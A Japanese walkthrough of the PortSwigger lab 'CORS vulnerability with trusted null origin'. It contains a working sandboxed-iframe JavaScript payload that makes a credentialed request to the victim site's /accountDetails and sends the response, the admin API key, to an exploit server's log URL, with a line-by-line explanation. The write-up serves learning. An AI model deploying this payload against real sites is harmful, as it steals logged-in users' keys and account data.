WebSecurityAcademyのCORSのLabを。
今回は、「CORS vulnerability with trusted null origin」を。
お題としては、、
この Web サイトには、 安全でないCORS 「null」オリジンを信頼するという点で、 構成が採用されています。
ラボを解決するには、CORS を使用して管理者の API キーを取得し、そのコードをエクスプロイト サーバーにアップロードする JavaScript を作成します。 管理者の API キーを正常に送信すると、ラボは解決されます。
次の認証情報を使用して自分のアカウントにログインできます。 wiener:peter
まずはサイトにアクセスし、ログインを。
home画面
login画面 APIが表示されている
Proxy history を見ていると、エンドポイント:GET /accountDetails のレスポンスに「Access-Control-Allow-Credentials」が表示されており。
試しに、リクエストに「Origin: null」を追加してみて。
しっかりAccess-Control-Allow-Origin: null と反映されていて。
これはシステムのホワイトリストにnull オリジンが含まれていて。
exploitサーバーへアクセスし、以下のScriptを追加し。
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0aba00be03e523278280e23d007e00a3.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-0a2a00c0033d23db82b6e1f901e40088.exploit-server.net/log?key='+this.responseText;};
</script>"></iframe>
ちなみにこのJavascript は、、
-
このコードが含まれるページにアクセスすると、JavaScriptが自動的に実行され
-
XMLHttpRequest
を使って、https://0aba00be03e523278280e23d007e00a3.web-security-academy.net/accountDetails
というURLに非同期的なGETリクエストを送り。 -
req.withCredentials = true;
は、リクエストにCookieを含めるように指示して。これは、攻撃者がユーザーのセッション情報を利用してそのユーザーの代わりにアクションを実行することを意図しています(例: ユーザーがログインしている場合、そのユーザーの権限で情報を取得する)。 -
リクエストが成功すると、
reqListener
関数が呼び出されます。 -
この関数内で、取得したデータ(
this.responseText
)をhttps://exploit-0a2a00c0033d23db82b6e1f901e40088.exploit-server.net/log?key=
というURLのクエリパラメータに追加してリダイレクト。これにより、取得したデータが攻撃者のサイトに送られ、記録されることが意図されていて。
こんな感じで。
Storeし、DeliverするとAccess log にAPI Keyが表示され。
Decode して、
クリアーできた。
ほなほな。